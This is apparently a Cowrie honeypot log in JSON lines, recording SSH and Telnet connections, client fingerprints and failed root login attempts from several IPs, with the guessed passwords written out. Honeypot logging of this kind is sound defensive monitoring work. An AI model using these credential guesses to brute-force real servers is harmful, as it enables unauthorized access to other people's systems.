{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:48.774954Z","src_ip":"147.45.199.80","session":"52e9c2d65d90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123#$","message":"login attempt [root/root123#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:56.260247Z","src_ip":"213.209.159.158","session":"ddb0de26cfc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:12:59.949657Z","src_ip":"213.209.159.158","session":"ddb0de26cfc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49484,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6de267f66b6","protocol":"ssh","message":"New connection: 213.209.159.158:49484 (159.203.135.109:22) [session: a6de267f66b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:00.030560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:02.226382Z","src_ip":"213.209.159.158","session":"a6de267f66b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:02.230706Z","src_ip":"213.209.159.158","session":"a6de267f66b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cisco!","message":"login attempt [root/Cisco!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:11.935371Z","src_ip":"213.209.159.158","session":"a6de267f66b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:15.185591Z","src_ip":"213.209.159.158","session":"a6de267f66b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55858,"dst_ip":"159.203.135.109","dst_port":22,"session":"733272b25810","protocol":"ssh","message":"New connection: 213.209.159.158:55858 (159.203.135.109:22) [session: 733272b25810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:15.271493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:17.362587Z","src_ip":"213.209.159.158","session":"733272b25810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:17.366550Z","src_ip":"213.209.159.158","session":"733272b25810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48942,"dst_ip":"10.17.0.5","dst_port":22,"session":"d37a9b5ed64c","protocol":"ssh","message":"New connection: 62.133.62.83:48942 (10.17.0.5:22) [session: d37a9b5ed64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:18.632500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:18.637292Z","src_ip":"62.133.62.83","session":"d37a9b5ed64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:18.718482Z","src_ip":"62.133.62.83","session":"d37a9b5ed64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24crow","message":"login attempt [root/24crow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:18.977175Z","src_ip":"62.133.62.83","session":"d37a9b5ed64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:20.059889Z","src_ip":"62.133.62.83","session":"d37a9b5ed64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57754,"dst_ip":"10.17.0.5","dst_port":22,"session":"71cb1ae76feb","protocol":"ssh","message":"New connection: 194.59.206.2:57754 (10.17.0.5:22) [session: 71cb1ae76feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:26.838845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:26.843834Z","src_ip":"194.59.206.2","session":"71cb1ae76feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:26.930111Z","src_ip":"194.59.206.2","session":"71cb1ae76feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:27.046189Z","src_ip":"194.59.206.2","session":"71cb1ae76feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root$123456","message":"login attempt [root/root$123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:27.223168Z","src_ip":"213.209.159.158","session":"733272b25810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:30.523164Z","src_ip":"213.209.159.158","session":"733272b25810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":60570,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e54075c55a5","protocol":"ssh","message":"New connection: 213.209.159.158:60570 (159.203.135.109:22) [session: 8e54075c55a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:30.604679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:33.070873Z","src_ip":"213.209.159.158","session":"8e54075c55a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:33.075813Z","src_ip":"213.209.159.158","session":"8e54075c55a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxzdsaewq321","message":"login attempt [root/cxzdsaewq321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:42.654930Z","src_ip":"213.209.159.158","session":"8e54075c55a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:46.019056Z","src_ip":"213.209.159.158","session":"8e54075c55a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64572,"dst_ip":"159.203.135.109","dst_port":22,"session":"f85ebf53b6d8","protocol":"ssh","message":"New connection: 213.209.159.158:64572 (159.203.135.109:22) [session: f85ebf53b6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:46.164992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:48.551559Z","src_ip":"213.209.159.158","session":"f85ebf53b6d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:48.555547Z","src_ip":"213.209.159.158","session":"f85ebf53b6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":50366,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff5ff08c3a27","protocol":"ssh","message":"New connection: 103.82.132.16:50366 (159.203.135.109:22) [session: ff5ff08c3a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:57.213243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:57.218751Z","src_ip":"103.82.132.16","session":"ff5ff08c3a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:57.479896Z","src_ip":"103.82.132.16","session":"ff5ff08c3a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"email123","message":"login attempt [root/email123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:57.856108Z","src_ip":"213.209.159.158","session":"f85ebf53b6d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"giorgi","message":"login attempt [root/giorgi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:58.266166Z","src_ip":"103.82.132.16","session":"ff5ff08c3a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:13:59.553271Z","src_ip":"103.82.132.16","session":"ff5ff08c3a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:01.522991Z","src_ip":"213.209.159.158","session":"f85ebf53b6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20866,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c3b5292e445","protocol":"ssh","message":"New connection: 213.209.159.158:20866 (159.203.135.109:22) [session: 0c3b5292e445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:01.633768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:03.895529Z","src_ip":"213.209.159.158","session":"0c3b5292e445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:03.899148Z","src_ip":"213.209.159.158","session":"0c3b5292e445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phone","password":"phone","message":"login attempt [phone/phone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:13.495859Z","src_ip":"213.209.159.158","session":"0c3b5292e445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38546,"dst_ip":"10.17.0.5","dst_port":23,"session":"48bb454376b2","protocol":"telnet","message":"New connection: 152.42.224.71:38546 (10.17.0.5:23) [session: 48bb454376b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:16.115148Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:16.742164Z","src_ip":"213.209.159.158","session":"0c3b5292e445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18098,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab23c123221","protocol":"ssh","message":"New connection: 213.209.159.158:18098 (159.203.135.109:22) [session: 0ab23c123221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:14:16.840547Z"}
